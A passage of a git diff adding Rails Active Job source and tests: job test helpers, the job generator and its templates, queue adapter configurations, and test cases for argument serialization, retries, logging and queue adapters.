+      assert_performed_jobs 0, only: only, except: except, &block
+    end
+
+    # Asserts that the job passed in the block has been enqueued with the given arguments.
+    #
+    #   def test_assert_enqueued_with
+    #     assert_enqueued_with(job: MyJob, args: [1,2,3], queue: 'low') do
+    #       MyJob.perform_later(1,2,3)
+    #     end
+    #
+    #     assert_enqueued_with(job: MyJob, at: Date.tomorrow.noon) do
+    #       MyJob.set(wait_until: Date.tomorrow.noon).perform_later
+    #     end
+    #   end
+    def assert_enqueued_with(job: nil, args: nil, at: nil, queue: nil)
+      original_enqueued_jobs_count = enqueued_jobs.count
+      expected = { job: job, args: args, at: at, queue: queue }.compact
+      serialized_args = serialize_args_for_assertion(expected)
+      yield
+      in_block_jobs = enqueued_jobs.drop(original_enqueued_jobs_count)
+      matching_job = in_block_jobs.find do |in_block_job|
+        serialized_args.all? { |key, value| value == in_block_job[key] }
+      end
+      assert matching_job, "No enqueued job found with #{expected}"
+      instantiate_job(matching_job)
+    end
+
+    # Asserts that the job passed in the block has been performed with the given arguments.
+    #
+    #   def test_assert_performed_with
+    #     assert_performed_with(job: MyJob, args: [1,2,3], queue: 'high') do
+    #       MyJob.perform_later(1,2,3)
+    #     end
+    #
+    #     assert_performed_with(job: MyJob, at: Date.tomorrow.noon) do
+    #       MyJob.set(wait_until: Date.tomorrow.noon).perform_later
+    #     end
+    #   end
+    def assert_performed_with(job: nil, args: nil, at: nil, queue: nil)
+      original_performed_jobs_count = performed_jobs.count
+      expected = { job: job, args: args, at: at, queue: queue }.compact
+      serialized_args = serialize_args_for_assertion(expected)
+      perform_enqueued_jobs { yield }
+      in_block_jobs = performed_jobs.drop(original_performed_jobs_count)
+      matching_job = in_block_jobs.find do |in_block_job|
+        serialized_args.all? { |key, value| value == in_block_job[key] }
+      end
+      assert matching_job, "No performed job found with #{expected}"
+      instantiate_job(matching_job)
+    end
+
+    # Performs all enqueued jobs in the duration of the block.
+    #
+    #   def test_perform_enqueued_jobs
+    #     perform_enqueued_jobs do
+    #       MyJob.perform_later(1, 2, 3)
+    #     end
+    #     assert_performed_jobs 1
+    #   end
+    #
+    # This method also supports filtering. If the +:only+ option is specified,
+    # then only the listed job(s) will be performed.
+    #
+    #   def test_perform_enqueued_jobs_with_only
+    #     perform_enqueued_jobs(only: MyJob) do
+    #       MyJob.perform_later(1, 2, 3) # will be performed
+    #       HelloJob.perform_later(1, 2, 3) # will not be performed
+    #     end
+    #     assert_performed_jobs 1
+    #   end
+    #
+    # Also if the +:except+ option is specified,
+    # then the job(s) except specific class will be performed.
+    #
+    #   def test_perform_enqueued_jobs_with_except
+    #     perform_enqueued_jobs(except: HelloJob) do
+    #       MyJob.perform_later(1, 2, 3) # will be performed
+    #       HelloJob.perform_later(1, 2, 3) # will not be performed
+    #     end
+    #     assert_performed_jobs 1
+    #   end
+    #
+    def perform_enqueued_jobs(only: nil, except: nil)
+      validate_option(only: only, except: except)
+      old_perform_enqueued_jobs = queue_adapter.perform_enqueued_jobs
+      old_perform_enqueued_at_jobs = queue_adapter.perform_enqueued_at_jobs
+      old_filter = queue_adapter.filter
+      old_reject = queue_adapter.reject
+
+      begin
+        queue_adapter.perform_enqueued_jobs = true
+        queue_adapter.perform_enqueued_at_jobs = true
+        queue_adapter.filter = only
+        queue_adapter.reject = except
+        yield
+      ensure
+        queue_adapter.perform_enqueued_jobs = old_perform_enqueued_jobs
+        queue_adapter.perform_enqueued_at_jobs = old_perform_enqueued_at_jobs
+        queue_adapter.filter = old_filter
+        queue_adapter.reject = old_reject
+      end
+    end
+
+    # Accesses the queue_adapter set by ActiveJob::Base.
+    #
+    #   def test_assert_job_has_custom_queue_adapter_set
+    #     assert_instance_of CustomQueueAdapter, HelloJob.queue_adapter
+    #   end
+    def queue_adapter
+      ActiveJob::Base.queue_adapter
+    end
+
+    private
+      def clear_enqueued_jobs
+        enqueued_jobs.clear
+      end
+
+      def clear_performed_jobs
+        performed_jobs.clear
+      end
+
+      def enqueued_jobs_size(only: nil, except: nil, queue: nil)
+        validate_option(only: only, except: except)
+        enqueued_jobs.count do |job|
+          job_class = job.fetch(:job)
+          if only
+            next false unless Array(only).include?(job_class)
+          elsif except
+            next false if Array(except).include?(job_class)
+          end
+          if queue
+            next false unless queue.to_s == job.fetch(:queue, job_class.queue_name)
+          end
+          true
+        end
+      end
+
+      def serialize_args_for_assertion(args)
+        args.dup.tap do |serialized_args|
+          serialized_args[:args] = ActiveJob::Arguments.serialize(serialized_args[:args]) if serialized_args[:args]
+          serialized_args[:at]   = serialized_args[:at].to_f if serialized_args[:at]
+        end
+      end
+
+      def instantiate_job(payload)
+        job = payload[:job].new(*payload[:args])
+        job.scheduled_at = Time.at(payload[:at]) if payload.key?(:at)
+        job.queue_name = payload[:queue]
+        job
+      end
+
+      def queue_adapter_changed_jobs
+        (ActiveJob::Base.descendants << ActiveJob::Base).select do |klass|
+          # only override explicitly set adapters, a quirk of `class_attribute`
+          klass.singleton_class.public_instance_methods(false).include?(:_queue_adapter)
+        end
+      end
+
+      def validate_option(only: nil, except: nil)
+        raise ArgumentError, "Cannot specify both `:only` and `:except` options." if only && except
+      end
+  end
+end
diff --git a/activejob/lib/active_job/translation.rb b/activejob/lib/active_job/translation.rb
new file mode 100644
index 0000000000..fb45c80d67
--- /dev/null
+++ b/activejob/lib/active_job/translation.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+module ActiveJob
+  module Translation #:nodoc:
+    extend ActiveSupport::Concern
+
+    included do
+      around_perform do |job, block, _|
+        I18n.with_locale(job.locale, &block)
+      end
+    end
+  end
+end
diff --git a/activejob/lib/active_job/version.rb b/activejob/lib/active_job/version.rb
new file mode 100644
index 0000000000..eae7da4d05
--- /dev/null
+++ b/activejob/lib/active_job/version.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+require_relative "gem_version"
+
+module ActiveJob
+  # Returns the version of the currently loaded Active Job as a <tt>Gem::Version</tt>
+  def self.version
+    gem_version
+  end
+end
diff --git a/activejob/lib/rails/generators/job/job_generator.rb b/activejob/lib/rails/generators/job/job_generator.rb
new file mode 100644
index 0000000000..69b4fe7d26
--- /dev/null
+++ b/activejob/lib/rails/generators/job/job_generator.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+require "rails/generators/named_base"
+
+module Rails # :nodoc:
+  module Generators # :nodoc:
+    class JobGenerator < Rails::Generators::NamedBase # :nodoc:
+      desc "This generator creates an active job file at app/jobs"
+
+      class_option :queue, type: :string, default: "default", desc: "The queue name for the generated job"
+
+      check_class_collision suffix: "Job"
+
+      hook_for :test_framework
+
+      def self.default_generator_root
+        __dir__
+      end
+
+      def create_job_file
+        template "job.rb", File.join("app/jobs", class_path, "#{file_name}_job.rb")
+
+        in_root do
+          if behavior == :invoke && !File.exist?(application_job_file_name)
+            template "application_job.rb", application_job_file_name
+          end
+        end
+      end
+
+      private
+        def application_job_file_name
+          @application_job_file_name ||= if mountable_engine?
+            "app/jobs/#{namespaced_path}/application_job.rb"
+          else
+            "app/jobs/application_job.rb"
+          end
+        end
+    end
+  end
+end
diff --git a/activejob/lib/rails/generators/job/templates/application_job.rb b/activejob/lib/rails/generators/job/templates/application_job.rb
new file mode 100644
index 0000000000..f93745a31a
--- /dev/null
+++ b/activejob/lib/rails/generators/job/templates/application_job.rb
@@ -0,0 +1,9 @@
+<% module_namespacing do -%>
+class ApplicationJob < ActiveJob::Base
+  # Automatically retry jobs that encountered a deadlock
+  # retry_on ActiveRecord::Deadlocked
+
+  # Most jobs are safe to ignore if the underlying records are no longer available
+  # discard_on ActiveJob::DeserializationError
+end
+<% end -%>
diff --git a/activejob/lib/rails/generators/job/templates/job.rb b/activejob/lib/rails/generators/job/templates/job.rb
new file mode 100644
index 0000000000..4ad2914a45
--- /dev/null
+++ b/activejob/lib/rails/generators/job/templates/job.rb
@@ -0,0 +1,9 @@
+<% module_namespacing do -%>
+class <%= class_name %>Job < ApplicationJob
+  queue_as :<%= options[:queue] %>
+
+  def perform(*args)
+    # Do something later
+  end
+end
+<% end -%>
diff --git a/activejob/test/adapters/async.rb b/activejob/test/adapters/async.rb
new file mode 100644
index 0000000000..a4fed7c2f7
--- /dev/null
+++ b/activejob/test/adapters/async.rb
@@ -0,0 +1,4 @@
+# frozen_string_literal: true
+
+ActiveJob::Base.queue_adapter = :async
+ActiveJob::Base.queue_adapter.immediate = true
diff --git a/activejob/test/adapters/backburner.rb b/activejob/test/adapters/backburner.rb
new file mode 100644
index 0000000000..bc34c78e9c
--- /dev/null
+++ b/activejob/test/adapters/backburner.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+require "support/backburner/inline"
+
+ActiveJob::Base.queue_adapter = :backburner
diff --git a/activejob/test/adapters/delayed_job.rb b/activejob/test/adapters/delayed_job.rb
new file mode 100644
index 0000000000..904b4c3f90
--- /dev/null
+++ b/activejob/test/adapters/delayed_job.rb
@@ -0,0 +1,8 @@
+# frozen_string_literal: true
+
+ActiveJob::Base.queue_adapter = :delayed_job
+
+$LOAD_PATH << File.expand_path("../support/delayed_job", __dir__)
+
+Delayed::Worker.delay_jobs = false
+Delayed::Worker.backend    = :test
diff --git a/activejob/test/adapters/inline.rb b/activejob/test/adapters/inline.rb
new file mode 100644
index 0000000000..b1ddcb28f1
--- /dev/null
+++ b/activejob/test/adapters/inline.rb
@@ -0,0 +1,3 @@
+# frozen_string_literal: true
+
+ActiveJob::Base.queue_adapter = :inline
diff --git a/activejob/test/adapters/qu.rb b/activejob/test/adapters/qu.rb
new file mode 100644
index 0000000000..5b471fa347
--- /dev/null
+++ b/activejob/test/adapters/qu.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+require "qu-immediate"
+
+ActiveJob::Base.queue_adapter = :qu
diff --git a/activejob/test/adapters/que.rb b/activejob/test/adapters/que.rb
new file mode 100644
index 0000000000..af77b0d4d1
--- /dev/null
+++ b/activejob/test/adapters/que.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+require "support/que/inline"
+
+ActiveJob::Base.queue_adapter = :que
+Que.mode = :sync
diff --git a/activejob/test/adapters/queue_classic.rb b/activejob/test/adapters/queue_classic.rb
new file mode 100644
index 0000000000..73902a5e62
--- /dev/null
+++ b/activejob/test/adapters/queue_classic.rb
@@ -0,0 +1,4 @@
+# frozen_string_literal: true
+
+require "support/queue_classic/inline"
+ActiveJob::Base.queue_adapter = :queue_classic
diff --git a/activejob/test/adapters/resque.rb b/activejob/test/adapters/resque.rb
new file mode 100644
index 0000000000..ad84a49372
--- /dev/null
+++ b/activejob/test/adapters/resque.rb
@@ -0,0 +1,4 @@
+# frozen_string_literal: true
+
+ActiveJob::Base.queue_adapter = :resque
+Resque.inline = true
diff --git a/activejob/test/adapters/sidekiq.rb b/activejob/test/adapters/sidekiq.rb
new file mode 100644
index 0000000000..7df1c36488
--- /dev/null
+++ b/activejob/test/adapters/sidekiq.rb
@@ -0,0 +1,4 @@
+# frozen_string_literal: true
+
+require "sidekiq/testing/inline"
+ActiveJob::Base.queue_adapter = :sidekiq
diff --git a/activejob/test/adapters/sneakers.rb b/activejob/test/adapters/sneakers.rb
new file mode 100644
index 0000000000..38d82aa778
--- /dev/null
+++ b/activejob/test/adapters/sneakers.rb
@@ -0,0 +1,4 @@
+# frozen_string_literal: true
+
+require "support/sneakers/inline"
+ActiveJob::Base.queue_adapter = :sneakers
diff --git a/activejob/test/adapters/sucker_punch.rb b/activejob/test/adapters/sucker_punch.rb
new file mode 100644
index 0000000000..04bad984d4
--- /dev/null
+++ b/activejob/test/adapters/sucker_punch.rb
@@ -0,0 +1,4 @@
+# frozen_string_literal: true
+
+require "sucker_punch/testing/inline"
+ActiveJob::Base.queue_adapter = :sucker_punch
diff --git a/activejob/test/adapters/test.rb b/activejob/test/adapters/test.rb
new file mode 100644
index 0000000000..0a1367dacf
--- /dev/null
+++ b/activejob/test/adapters/test.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+ActiveJob::Base.queue_adapter = :test
+ActiveJob::Base.queue_adapter.perform_enqueued_jobs = true
+ActiveJob::Base.queue_adapter.perform_enqueued_at_jobs = true
diff --git a/activejob/test/cases/adapter_test.rb b/activejob/test/cases/adapter_test.rb
new file mode 100644
index 0000000000..2c179b2d38
--- /dev/null
+++ b/activejob/test/cases/adapter_test.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+require "helper"
+
+class AdapterTest < ActiveSupport::TestCase
+  test "should load #{ENV['AJ_ADAPTER']} adapter" do
+    assert_equal "active_job/queue_adapters/#{ENV['AJ_ADAPTER']}_adapter".classify, ActiveJob::Base.queue_adapter.class.name
+  end
+end
diff --git a/activejob/test/cases/argument_serialization_test.rb b/activejob/test/cases/argument_serialization_test.rb
new file mode 100644
index 0000000000..13e6fcb727
--- /dev/null
+++ b/activejob/test/cases/argument_serialization_test.rb
@@ -0,0 +1,113 @@
+# frozen_string_literal: true
+
+require "helper"
+require "active_job/arguments"
+require "models/person"
+require "active_support/core_ext/hash/indifferent_access"
+require "jobs/kwargs_job"
+
+class ArgumentSerializationTest < ActiveSupport::TestCase
+  setup do
+    @person = Person.find("5")
+  end
+
+  [ nil, 1, 1.0, 1_000_000_000_000_000_000_000,
+    "a", true, false, BigDecimal.new(5),
+    [ 1, "a" ],
+    { "a" => 1 }
+  ].each do |arg|
+    test "serializes #{arg.class} - #{arg} verbatim" do
+      assert_arguments_unchanged arg
+    end
+  end
+
+  [ :a, Object.new, self, Person.find("5").to_gid ].each do |arg|
+    test "does not serialize #{arg.class}" do
+      assert_raises ActiveJob::SerializationError do
+        ActiveJob::Arguments.serialize [ arg ]
+      end
+
+      assert_raises ActiveJob::DeserializationError do
+        ActiveJob::Arguments.deserialize [ arg ]
+      end
+    end
+  end
+
+  test "should convert records to Global IDs" do
+    assert_arguments_roundtrip [@person]
+  end
+
+  test "should dive deep into arrays and hashes" do
+    assert_arguments_roundtrip [3, [@person]]
+    assert_arguments_roundtrip [{ "a" => @person }]
+  end
+
+  test "should maintain string and symbol keys" do
+    assert_arguments_roundtrip([a: 1, "b" => 2])
+  end
+
+  test "should maintain hash with indifferent access" do
+    symbol_key = { a: 1 }
+    string_key = { "a" => 1 }
+    indifferent_access = { a: 1 }.with_indifferent_access
+
+    assert_not_instance_of ActiveSupport::HashWithIndifferentAccess, perform_round_trip([symbol_key]).first
+    assert_not_instance_of ActiveSupport::HashWithIndifferentAccess, perform_round_trip([string_key]).first
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, perform_round_trip([indifferent_access]).first
+  end
+
+  test "should disallow non-string/symbol hash keys" do
+    assert_raises ActiveJob::SerializationError do
+      ActiveJob::Arguments.serialize [ { 1 => 2 } ]
+    end
+
+    assert_raises ActiveJob::SerializationError do
+      ActiveJob::Arguments.serialize [ { a: [{ 2 => 3 }] } ]
+    end
+  end
+
+  test "should not allow reserved hash keys" do
+    ["_aj_globalid", :_aj_globalid, "_aj_symbol_keys", :_aj_symbol_keys,
+     "_aj_hash_with_indifferent_access", :_aj_hash_with_indifferent_access].each do |key|
+      assert_raises ActiveJob::SerializationError do
+        ActiveJob::Arguments.serialize [key => 1]
+      end
+    end
+  end
+
+  test "should not allow non-primitive objects" do
+    assert_raises ActiveJob::SerializationError do
+      ActiveJob::Arguments.serialize [Object.new]
+    end
+
+    assert_raises ActiveJob::SerializationError do
+      ActiveJob::Arguments.serialize [1, [Object.new]]
+    end
+  end
+
+  test "allows for keyword arguments" do
+    KwargsJob.perform_later(argument: 2)
+
+    assert_equal "Job with argument: 2", JobBuffer.last_value
+  end
+
+  test "raises a friendly SerializationError for records without ids" do
+    err = assert_raises ActiveJob::SerializationError do
+      ActiveJob::Arguments.serialize [Person.new(nil)]
+    end
+    assert_match "Unable to serialize Person without an id.", err.message
+  end
+
+  private
+    def assert_arguments_unchanged(*args)
+      assert_arguments_roundtrip args
+    end
+
+    def assert_arguments_roundtrip(args)
+      assert_equal args, perform_round_trip(args)
+    end
+
+    def perform_round_trip(args)
+      ActiveJob::Arguments.deserialize(ActiveJob::Arguments.serialize(args))
+    end
+end
diff --git a/activejob/test/cases/callbacks_test.rb b/activejob/test/cases/callbacks_test.rb
new file mode 100644
index 0000000000..df6ce16858
--- /dev/null
+++ b/activejob/test/cases/callbacks_test.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+require "helper"
+require "jobs/callback_job"
+
+require "active_support/core_ext/object/inclusion"
+
+class CallbacksTest < ActiveSupport::TestCase
+  test "perform callbacks" do
+    performed_callback_job = CallbackJob.new("A-JOB-ID")
+    performed_callback_job.perform_now
+    assert "CallbackJob ran before_perform".in? performed_callback_job.history
+    assert "CallbackJob ran after_perform".in? performed_callback_job.history
+    assert "CallbackJob ran around_perform_start".in? performed_callback_job.history
+    assert "CallbackJob ran around_perform_stop".in? performed_callback_job.history
+  end
+
+  test "enqueue callbacks" do
+    enqueued_callback_job = CallbackJob.perform_later
+    assert "CallbackJob ran before_enqueue".in? enqueued_callback_job.history
+    assert "CallbackJob ran after_enqueue".in? enqueued_callback_job.history
+    assert "CallbackJob ran around_enqueue_start".in? enqueued_callback_job.history
+    assert "CallbackJob ran around_enqueue_stop".in? enqueued_callback_job.history
+  end
+end
diff --git a/activejob/test/cases/exceptions_test.rb b/activejob/test/cases/exceptions_test.rb
new file mode 100644
index 0000000000..7a3c372143
--- /dev/null
+++ b/activejob/test/cases/exceptions_test.rb
@@ -0,0 +1,109 @@
+# frozen_string_literal: true
+
+require "helper"
+require "jobs/retry_job"
+
+class ExceptionsTest < ActiveJob::TestCase
+  setup do
+    JobBuffer.clear
+    skip if ActiveJob::Base.queue_adapter.is_a?(ActiveJob::QueueAdapters::InlineAdapter)
+  end
+
+  test "successfully retry job throwing exception against defaults" do
+    perform_enqueued_jobs do
+      RetryJob.perform_later "DefaultsError", 5
+
+      assert_equal [
+        "Raised DefaultsError for the 1st time",
+        "Raised DefaultsError for the 2nd time",
+        "Raised DefaultsError for the 3rd time",
+        "Raised DefaultsError for the 4th time",
+        "Successfully completed job" ], JobBuffer.values
+    end
+  end
+
+  test "successfully retry job throwing exception against higher limit" do
+    perform_enqueued_jobs do
+      RetryJob.perform_later "ShortWaitTenAttemptsError", 9
+      assert_equal 9, JobBuffer.values.count
+    end
+  end
+
+  test "failed retry job when exception kept occurring against defaults" do
+    perform_enqueued_jobs do
+      begin
+        RetryJob.perform_later "DefaultsError", 6
+        assert_equal "Raised DefaultsError for the 5th time", JobBuffer.last_value
+      rescue DefaultsError
+        pass
+      end
+    end
+  end
+
+  test "failed retry job when exception kept occurring against higher limit" do
+    perform_enqueued_jobs do
+      begin
+        RetryJob.perform_later "ShortWaitTenAttemptsError", 11
+        assert_equal "Raised ShortWaitTenAttemptsError for the 10th time", JobBuffer.last_value
+      rescue ShortWaitTenAttemptsError
+        pass
+      end
+    end
+  end
+
+  test "discard job" do
+    perform_enqueued_jobs do
+      RetryJob.perform_later "DiscardableError", 2
+      assert_equal "Raised DiscardableError for the 1st time", JobBuffer.last_value
+    end
+  end
+
+  test "custom handling of job that exceeds retry attempts" do
+    perform_enqueued_jobs do
+      RetryJob.perform_later "CustomCatchError", 6
+      assert_equal "Dealt with a job that failed to retry in a custom way after 6 attempts", JobBuffer.last_value
+    end
+  end
+
+  test "long wait job" do
+    travel_to Time.now
+
+    perform_enqueued_jobs do
+      assert_performed_with at: (Time.now + 3600.seconds).to_i do
+        RetryJob.perform_later "LongWaitError", 5
+      end
+    end
+  end
+
+  test "exponentially retrying job" do
+    travel_to Time.now
+
+    perform_enqueued_jobs do
+      assert_performed_with at: (Time.now + 3.seconds).to_i do
+        assert_performed_with at: (Time.now + 18.seconds).to_i do
+          assert_performed_with at: (Time.now + 83.seconds).to_i do
+            assert_performed_with at: (Time.now + 258.seconds).to_i do
+              RetryJob.perform_later "ExponentialWaitTenAttemptsError", 5
+            end
+          end
+        end
+      end
+    end
+  end
+
+  test "custom wait retrying job" do
+    travel_to Time.now
+
+    perform_enqueued_jobs do
+      assert_performed_with at: (Time.now + 2.seconds).to_i do
+        assert_performed_with at: (Time.now + 4.seconds).to_i do
+          assert_performed_with at: (Time.now + 6.seconds).to_i do
+            assert_performed_with at: (Time.now + 8.seconds).to_i do
+              RetryJob.perform_later "CustomWaitTenAttemptsError", 5
+            end
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activejob/test/cases/job_serialization_test.rb b/activejob/test/cases/job_serialization_test.rb
new file mode 100644
index 0000000000..440051c427
--- /dev/null
+++ b/activejob/test/cases/job_serialization_test.rb
@@ -0,0 +1,57 @@
+# frozen_string_literal: true
+
+require "helper"
+require "jobs/gid_job"
+require "jobs/hello_job"
+require "models/person"
+require "json"
+
+class JobSerializationTest < ActiveSupport::TestCase
+  setup do
+    JobBuffer.clear
+    @person = Person.find(5)
+  end
+
+  test "serialize job with gid" do
+    GidJob.perform_later @person
+    assert_equal "Person with ID: 5", JobBuffer.last_value
+  end
+
+  test "serialize includes current locale" do
+    assert_equal "en", HelloJob.new.serialize["locale"]
+  end
+
+  test "serialize and deserialize are symmetric" do
+    # Round trip a job in memory only
+    h1 = HelloJob.new
+    h1.deserialize(h1.serialize)
+
+    # Now verify it's identical to a JSON round trip.
+    # We don't want any non-native JSON elements in the job hash,
+    # like symbols.
+    payload = JSON.dump(h1.serialize)
+    h2 = HelloJob.new
+    h2.deserialize(JSON.load(payload))
+    assert_equal h1.serialize, h2.serialize
+  end
+
+  test "deserialize sets locale" do
+    job = HelloJob.new
+    job.deserialize "locale" => "es"
+    assert_equal "es", job.locale
+  end
+
+  test "deserialize sets default locale" do
+    job = HelloJob.new
+    job.deserialize({})
+    assert_equal "en", job.locale
+  end
+
+  test "serialize stores provider_job_id" do
+    job = HelloJob.new
+    assert_nil job.serialize["provider_job_id"]
+
+    job.provider_job_id = "some value set by adapter"
+    assert_equal job.provider_job_id, job.serialize["provider_job_id"]
+  end
+end
diff --git a/activejob/test/cases/logging_test.rb b/activejob/test/cases/logging_test.rb
new file mode 100644
index 0000000000..1f8c4a5573
--- /dev/null
+++ b/activejob/test/cases/logging_test.rb
@@ -0,0 +1,137 @@
+# frozen_string_literal: true
+
+require "helper"
+require "active_support/log_subscriber/test_helper"
+require "active_support/core_ext/numeric/time"
+require "jobs/hello_job"
+require "jobs/logging_job"
+require "jobs/overridden_logging_job"
+require "jobs/nested_job"
+require "jobs/rescue_job"
+require "models/person"
+
+class LoggingTest < ActiveSupport::TestCase
+  include ActiveSupport::LogSubscriber::TestHelper
+  include ActiveSupport::Logger::Severity
+
+  class TestLogger < ActiveSupport::Logger
+    def initialize
+      @file = StringIO.new
+      super(@file)
+    end
+
+    def messages
+      @file.rewind
+      @file.read
+    end
+  end
+
+  def setup
+    super
+    JobBuffer.clear
+    @old_logger = ActiveJob::Base.logger
+    @logger = ActiveSupport::TaggedLogging.new(TestLogger.new)
+    set_logger @logger
+    ActiveJob::Logging::LogSubscriber.attach_to :active_job
+  end
+
+  def teardown
+    super
+    ActiveJob::Logging::LogSubscriber.log_subscribers.pop
+    set_logger @old_logger
+  end
+
+  def set_logger(logger)
+    ActiveJob::Base.logger = logger
+  end
+
+  def test_uses_active_job_as_tag
+    HelloJob.perform_later "Cristian"
+    assert_match(/\[ActiveJob\]/, @logger.messages)
+  end
+
+  def test_uses_job_name_as_tag
+    LoggingJob.perform_later "Dummy"
+    assert_match(/\[LoggingJob\]/, @logger.messages)
+  end
+
+  def test_uses_job_id_as_tag
+    LoggingJob.perform_later "Dummy"
+    assert_match(/\[LOGGING-JOB-ID\]/, @logger.messages)
+  end
+
+  def test_logs_correct_queue_name
+    original_queue_name = LoggingJob.queue_name
+    LoggingJob.queue_as :php_jobs
+    LoggingJob.perform_later("Dummy")
+    assert_match(/to .*?\(php_jobs\).*/, @logger.messages)
+  ensure
+    LoggingJob.queue_name = original_queue_name
+  end
+
+  def test_globalid_parameter_logging
+    person = Person.new(123)
+    LoggingJob.perform_later person
+    assert_match(%r{Enqueued.*gid://aj/Person/123}, @logger.messages)
+    assert_match(%r{Dummy, here is it: #<Person:.*>}, @logger.messages)
+    assert_match(%r{Performing.*gid://aj/Person/123}, @logger.messages)
+  end
+
+  def test_globalid_nested_parameter_logging
+    person = Person.new(123)
+    LoggingJob.perform_later(person: person)
+    assert_match(%r{Enqueued.*gid://aj/Person/123}, @logger.messages)
+    assert_match(%r{Dummy, here is it: .*#<Person:.*>}, @logger.messages)
+    assert_match(%r{Performing.*gid://aj/Person/123}, @logger.messages)
+  end
+
+  def test_enqueue_job_logging
+    HelloJob.perform_later "Cristian"
+    assert_match(/Enqueued HelloJob \(Job ID: .*?\) to .*?:.*Cristian/, @logger.messages)
+  end
+
+  def test_perform_job_logging
+    LoggingJob.perform_later "Dummy"
+    assert_match(/Performing LoggingJob \(Job ID: .*?\) from .*? with arguments:.*Dummy/, @logger.messages)
+    assert_match(/Dummy, here is it: Dummy/, @logger.messages)
+    assert_match(/Performed LoggingJob \(Job ID: .*?\) from .*? in .*ms/, @logger.messages)
+  end
+
+  def test_perform_nested_jobs_logging
+    NestedJob.perform_later
+    assert_match(/\[LoggingJob\] \[.*?\]/, @logger.messages)
+    assert_match(/\[ActiveJob\] Enqueued NestedJob \(Job ID: .*\) to/, @logger.messages)
+    assert_match(/\[ActiveJob\] \[NestedJob\] \[NESTED-JOB-ID\] Performing NestedJob \(Job ID: .*?\) from/, @logger.messages)
+    assert_match(/\[ActiveJob\] \[NestedJob\] \[NESTED-JOB-ID\] Enqueued LoggingJob \(Job ID: .*?\) to .* with arguments: "NestedJob"/, @logger.messages)
+    assert_match(/\[ActiveJob\].*\[LoggingJob\] \[LOGGING-JOB-ID\] Performing LoggingJob \(Job ID: .*?\) from .* with arguments: "NestedJob"/, @logger.messages)
+    assert_match(/\[ActiveJob\].*\[LoggingJob\] \[LOGGING-JOB-ID\] Dummy, here is it: NestedJob/, @logger.messages)
+    assert_match(/\[ActiveJob\].*\[LoggingJob\] \[LOGGING-JOB-ID\] Performed LoggingJob \(Job ID: .*?\) from .* in/, @logger.messages)
+    assert_match(/\[ActiveJob\] \[NestedJob\] \[NESTED-JOB-ID\] Performed NestedJob \(Job ID: .*?\) from .* in/, @logger.messages)
+  end
+
+  def test_enqueue_at_job_logging
+    HelloJob.set(wait_until: 24.hours.from_now).perform_later "Cristian"
+    assert_match(/Enqueued HelloJob \(Job ID: .*\) to .*? at.*Cristian/, @logger.messages)
+  rescue NotImplementedError
+    skip
+  end
+
+  def test_enqueue_in_job_logging
+    HelloJob.set(wait: 2.seconds).perform_later "Cristian"
+    assert_match(/Enqueued HelloJob \(Job ID: .*\) to .*? at.*Cristian/, @logger.messages)
+  rescue NotImplementedError
+    skip
+  end
+
+  def test_for_tagged_logger_support_is_consistent
+    set_logger ::Logger.new(nil)
+    OverriddenLoggingJob.perform_later "Dummy"
+  end
+
+  def test_job_error_logging
+    RescueJob.perform_later "other"
+  rescue RescueJob::OtherError
+    assert_match(/Performing RescueJob \(Job ID: .*?\) from .*? with arguments:.*other/, @logger.messages)
+    assert_match(/Error performing RescueJob \(Job ID: .*?\) from .*? in .*ms: RescueJob::OtherError \(Bad hair\):\n.*\brescue_job\.rb:\d+:in `perform'/, @logger.messages)
+  end
+end
diff --git a/activejob/test/cases/queue_adapter_test.rb b/activejob/test/cases/queue_adapter_test.rb
new file mode 100644
index 0000000000..e71cfa49cf
--- /dev/null
+++ b/activejob/test/cases/queue_adapter_test.rb
@@ -0,0 +1,51 @@
+# frozen_string_literal: true
+
+require "helper"
+
+module ActiveJob
+  module QueueAdapters
+    class StubOneAdapter
+      def enqueue(*); end
+      def enqueue_at(*); end
+    end
+
+    class StubTwoAdapter
+      def enqueue(*); end
+      def enqueue_at(*); end
+    end
+  end
+end
+
+class QueueAdapterTest < ActiveJob::TestCase
+  test "should forbid nonsense arguments" do
+    assert_raises(ArgumentError) { ActiveJob::Base.queue_adapter = Mutex }
+    assert_raises(ArgumentError) { ActiveJob::Base.queue_adapter = Mutex.new }
+  end
+
+  test "should allow overriding the queue_adapter at the child class level without affecting the parent or its sibling" do
+    ActiveJob::Base.disable_test_adapter
+    base_queue_adapter = ActiveJob::Base.queue_adapter
+
+    child_job_one = Class.new(ActiveJob::Base)
+    assert_equal child_job_one.queue_adapter_name, ActiveJob::Base.queue_adapter_name
+
+    child_job_one.queue_adapter = :stub_one
+
+    assert_not_equal ActiveJob::Base.queue_adapter, child_job_one.queue_adapter
+    assert_equal "stub_one", child_job_one.queue_adapter_name
+    assert_kind_of ActiveJob::QueueAdapters::StubOneAdapter, child_job_one.queue_adapter
+
+    child_job_two = Class.new(ActiveJob::Base)
+    child_job_two.queue_adapter = :stub_two
+
+    assert_equal "stub_two", child_job_two.queue_adapter_name
+
+    assert_kind_of ActiveJob::QueueAdapters::StubTwoAdapter, child_job_two.queue_adapter
+    assert_kind_of ActiveJob::QueueAdapters::StubOneAdapter, child_job_one.queue_adapter, "child_job_one's queue adapter should remain unchanged"
+    assert_equal base_queue_adapter, ActiveJob::Base.queue_adapter, "ActiveJob::Base's queue adapter should remain unchanged"
+
+    child_job_three = Class.new(ActiveJob::Base)
+
+    assert_not_nil child_job_three.queue_adapter
+  end
+end
diff --git a/activejob/test/cases/queue_naming_test.rb b/activejob/test/cases/queue_naming_test.rb
new file mode 100644
index 0000000000..b64a38f91e
--- /dev/null
+++ b/activejob/test/cases/queue_naming_test.rb
@@ -0,0 +1,104 @@
+# frozen_string_literal: true
+
+require "helper"
+require "jobs/hello_job"
+require "jobs/logging_job"
+require "jobs/nested_job"
+
+class QueueNamingTest < ActiveSupport::TestCase
+  test "name derived from base" do
+    assert_equal "default", HelloJob.queue_name
+  end
+
+  test "uses given queue name job" do
